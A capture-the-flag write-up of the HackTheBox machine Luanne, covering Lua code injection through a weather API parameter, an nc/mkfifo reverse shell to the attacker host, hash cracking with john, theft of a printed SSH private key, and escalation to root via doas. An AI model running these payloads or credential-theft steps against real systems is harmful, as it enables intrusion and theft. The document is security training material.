Preface: Luanne is a easy box on HackTheBox.eu. With an basic nmap scan we discover two http ports. Both are restricted with an .htaccess file. But on port 80 there is a robots.txt file which reveals a subdirectory to us. On this subdirectory we will find with gobuster another directory. There we see a JSON response controlled by an GET parameter. With help of this GET parameter we are able to run arbitrary code through an SQLi attack. Once on the box we wll find a process owned by the user. With the process we are able to gain the private ssh key of the user. Within the users home directory we find a .tar.gz.enc archive which we have to decrypt an then we are able to unpack it. The archive contains a hash which we are able to crack. With the cracked password we are able spawn a root shell. Hack the box infocard luanne

Information Gathering

As always we start with an nmap scan for open ports and services:

$ cat nmap/luanne.nmap 
# Nmap 7.91 scan initiated Sat Dec  5 22:43:19 2020 as: nmap -sV -sC -oA nmap/luanne 10.10.10.218
Nmap scan report for 10.10.10.218
Host is up (0.10s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey: 
|   3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
|   521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_  256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp   open  http    nginx 1.19.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry 
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec  5 22:46:42 2020 -- 1 IP address (1 host up) scanned in 203.24 seconds

We got three open ports. On the port 9001 it looks like we need some credentials because the output tells us 401 Unauthorized. The port 80 got a similar output but reveals a subdirectory called weather to us. It is a disallowed entry in the robots.txt.

Gobuster

Before we take a look in the browser let’s start a gobuster on the subdirectory weather. I like it to have some enumeration in the background.

$ gobuster dir -u http://10.10.10.218/weather/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Now it is time to open http://10.10.10.218 in the browser. But as we assumed earlier it is protected by .htaccess. We have to enter a username and a password. Hack the box luanne ip htaccess

I tried some standard credentials without success. The web server always respond with the 401 Unauthorized message. Hack the box luanne ip browser

On the port 9001 we have the same behavior. It is also protected by an .htaccess file. None of the standard credentials I tried worked. Got always the respond Error response with the code 401 Unauthorized. Hack the box luanne ip port 9001

Let’s see if gobuster got something interessting for us.

$ gobuster dir -u http://10.10.10.218/weather/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
===============================================================  
Gobuster v3.0.1  
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)  
===============================================================  
[+\] Url:            http://10.10.10.218/weather/  
[+\] Threads:        10  
[+\] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt  
[+\] Status codes:   200,204,301,302,307,401,403  
[+\] User Agent:     gobuster/3.0.1  
[+\] Timeout:        10s  
===============================================================  
2020/12/04 01:40:43 Starting gobuster  
===============================================================  
/forecast (Status: 200)
===============================================================  
2020/12/04 01:50:23 Finished  
===============================================================  

Indeed we found another subdirectory called forecast. The most interessting part is the response code 200. This means we can access this subdirectory without providing credentials.

Let’s have a look what the /forecast directory got for us. But be cautious, we ran the gobuster on the /weather subdirectory. This means we have to look on the link http://10.10.10.218/weather/forecast. Hack the box luanne ip weather forecast

We got a JSON response. The firefox automatically converts the result in a pretty UI. The message of the response gives us a important hint: No city specified. Use 'city=list' to list available cities.

There is a GET parameter city where we can provide some data. Let’s see what the suggested list will reveal to us. Hack the box luanne forecast city list

Only a bunch of cities. Nothing interesting for us. But my experience says that this could be vulnerable to a SQL Injection. First we should try to break the response. To break the response I will use my terminal with cURL. I always try at first the following characters to break the query: ', " and ;. Let’s see If we can cause an error message.

$ curl -s http://10.10.10.218/weather/forecast?city=%27;
<br>Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value

Nice, we got a error message by providing the characters ';. Now we know that the application runs lua.

Foothold

We know that the application runs lua. So we should first try if we can execute some code. To avoid to run into a rabbit hole. After a quick google search I found a useful link from GTFOBins. With os.execute() we can run OS commands. Now it is time to prove it.

$ curl -s 'http://10.10.10.218/weather/forecast?city=%27);os.execute(%22id%22);--'
{"code": 500,"error": "unknown city: uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)

Yes! We got remote code execution as _httpd! Next I will check which OS is running on this box.

$ curl -s 'http://10.10.10.218/weather/forecast?city=%27);os.execute(%22uname%20-a%22);--'
{"code": 500,"error": "unknown city: NetBSD luanne.htb 9.0 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020  mkrepro@mkrepro.NetBSD.org:/usr/src/sys/arch/amd64/compile/GENERIC amd64

There is NetBSD running. So we can create a reverse shell with a basic sh and mkfifo. Because bash is not always available on NetBSD. First start our nc listener as always.

$ nc -lvnp 4444
listening on [any] 4444 ...

Now it is time to pop our reverse shell.

$ curl -s 'http://10.10.10.218/weather/forecast?city=%27);os.execute(%22rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|nc%2010.10.14.3%204444%20%3E/tmp/f%22);--'

Let’s check our nc listener

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.218] 65495
sh: can't access tty; job control turned off
$ whoami
_httpd
$ hostname
luanne.htb

Awesome! We got a shell.

SHELL: _httpd

User

Now it is time to gather informations on the host. My first thought was: there have to be a .htaccess file in the /var/www directory which leaks some credentials.

$ pwd
/var/www
$ ls -la
total 20
drwxr-xr-x   2 root  wheel  512 Nov 25 11:27 .
drwxr-xr-x  24 root  wheel  512 Nov 24 09:55 ..
-rw-r--r--   1 root  wheel   47 Sep 16  2020 .htpasswd
-rw-r--r--   1 root  wheel  386 Sep 17  2020 index.html
-rw-r--r--   1 root  wheel   78 Nov 25 11:38 robots.txt
$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0

We did not found the .htaccess file but a .htpasswd file which contains some credentials. Now it is time to try if we can crack the hash of the user webapi_user.

John

I will use john to crack the hash. First I created a file called hashes which contains the actual hash. As wordlist I use the rockyou.txt. Now it is time to run john.

$ john hashes -w=/usr/share/wordlists/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iamthebest       (?)
1g 0:00:00:00 DONE (2021-03-24 07:57) 20.00g/s 61440p/s 61440c/s 61440C/s secrets..ANTHONY
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Nice! We could crack the hash. Now we got the credentials webapi_user:iamthebest.

In the beginning of our enumeration we discovered that the port 80 and 9001 are protected by an .htaccess file. Let’s try these credentials on the ports.

They worked on port 80 but we didn’t get anything new. Hack the box luanne ip creds browser

On port 9001 the credentials does not work. So we have to enumerate further on the box.

LinPEAS

As always I try at first linpeas.sh on the box. To see if we got something interesting. One process catched my attention. It looks pretty odd.

================================( Processes, Cron, Services, Timers & Sockets )================================                                                                                      
[+] Cleaned processes
[i] Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
# ...
r.michaels  185  0.0  0.0  34992  1972 ?     Is    7:09PM 0:00.00 /usr/libexec/httpd -u -X -s -i 127.0.0.1 -I 3001 -L weather /home/r.michaels/devel/webapi/weather.lua -P /var/run/httpd_devel.pid -
U r.michaels -b /home/r.michaels/devel/www 
# ...

It is the httpd process running on the localhost owned by r.michaels with a bunch of arguments and flags. Before we invest more time to this process we should check if we are able to get responses from the httpd daemon.

$ curl -s localhost:3001
<html><head><title>401 Unauthorized</title></head>
<body><h1>401 Unauthorized</h1>
/: <pre>No authorization</pre>
<hr><address><a href="//localhost:3001/">localhost:3001</a></address>
</body></html>

The same result like the port 80. 401 Unauthorized. Maybe the credentials we cracked with john works here also.

$ curl -s --user webapi_user:iamthebest localhost:3001
<!doctype html>
<html>
  <head>
    <title>Index</title>
  </head>
  <body>
    <p><h3>Weather Forecast API</h3></p>
    <p><h4>List available cities:</h4></p>
    <a href="/weather/forecast?city=list">/weather/forecast?city=list</a>
    <p><h4>Five day forecast (London)</h4></p>
    <a href="/weather/forecast?city=London">/weather/forecast?city=London</a>
    <hr>
  </body>
</html>

Yes, now we got a proper response. But it looks like the same as on port 80. I think this is the developing process for r.michaels. The process is running in the home directory of r.michaels. Maybe we can use this fact to our advantage.

After some google searches I found something interessting on the official apache documentation.

On systems with multiple users, each user can be permitted to have a web site in their home directory using the [UserDir] directive. Visitors to a URL http://example.com/~username/ will get content out of the home directory of the user “username”, out of the subdirectory specified by the [UserDir] directive.

This means we can access files from the r.michaels users home with a cURL request. Maybe we can gain a directory listing.

$ curl -s --user webapi_user:iamthebest localhost:3001/~r.michaels/
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
        border-top: 1px solid black;
        border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>

Indeed, we are able to see what is in the directory. There is just one file. The id_rsa. I think this is the private key of r.michaels. Maybe we are able to get the content of the id_rsa by making a request on it. I give it a try.

$ curl -s --user webapi_user:iamthebest localhost:3001/~r.michaels/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Oh yeah, there it is! I try to ssh into the box with the key.

$ ssh -i id_rsa r.michaels@10.10.10.218
Last login: Thu Mar 25 20:06:43 2021 from 10.10.14.11
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020

Welcome to NetBSD!

luanne$ whoami && hostname
r.michaels
luanne.htb

Nice! We are on the box as r.michaels.

!!!! SHELL: r.michaels

Root

First let’s take a look if we got something interessting on our home directory. After some pocking I found the ~/backups/devel_backup-2020-09-16.tar.gz.enc archive file. So let’s try if we can extract the archive.

After some researching I found out that this .tar archive is encrypted with a private key. On NetBSD this is possible with netpgp. So I guess we have to extract this on the machine locally. Let’s try it.

luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc > /tmp/backup.tar.gz                    
signature  2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a 
uid              RSA 2048-bit key <r.michaels@localhost>
luanne$ cd /tmp
luanne$ ls
backup.tar.gz

Nice! We could decrypt the .tar archive. Now let’s unpack it.

luanne$ tar -xvf backup.tar.gz                                    
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd

The first file which catched my attention is this .htpasswd file. The other files should not be very interesting for us. Let’s check the content of .htpasswd.

luanne$ cd devel-2020-09-16/www/                                     
luanne$ cat .htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.

Another password hash. It is again time for john. I append the new hash to my existing hashes file and ran the same command again.

$ john hashes -w=/usr/share/wordlists/rockyou.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Remaining 1 password hash
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
littlebear       (?)
1g 0:00:00:00 DONE (2021-03-25 21:14) 5.555g/s 72533p/s 72533c/s 72533C/s tormenta..hello11
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Nice! We got the password littlebear. When I am on a target machine I try always to use new discovered passwords to switch to root.

luanne$ su  
su: You are not listed in the correct secondary group (wheel) to su root.
su: Sorry: Authentication error
luanne$ sudo /bin/sh
ksh: sudo: not found

Okay, neither su or sudo works. sudo is not even installed on the NetBSD system. Let’s see what’s the equivalent to sudo on NetBSD. On a quick google search I found this useful link. They suggest to use doas instead of sudo. I never used doas before. So I checked the man page of doas.

-u user Execute the command as user. The default is root.

The default user is root. So we can just try to run doas /bin/sh to spawn a root shell with the password littlebear.

luanne$ doas /bin/sh
Password:
# whoami 
root
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)

Oh yes! doas with the cracked password hash worked! We gained a root shell!

SHELL: root


Thanks for reading! I hope you enjoyed it!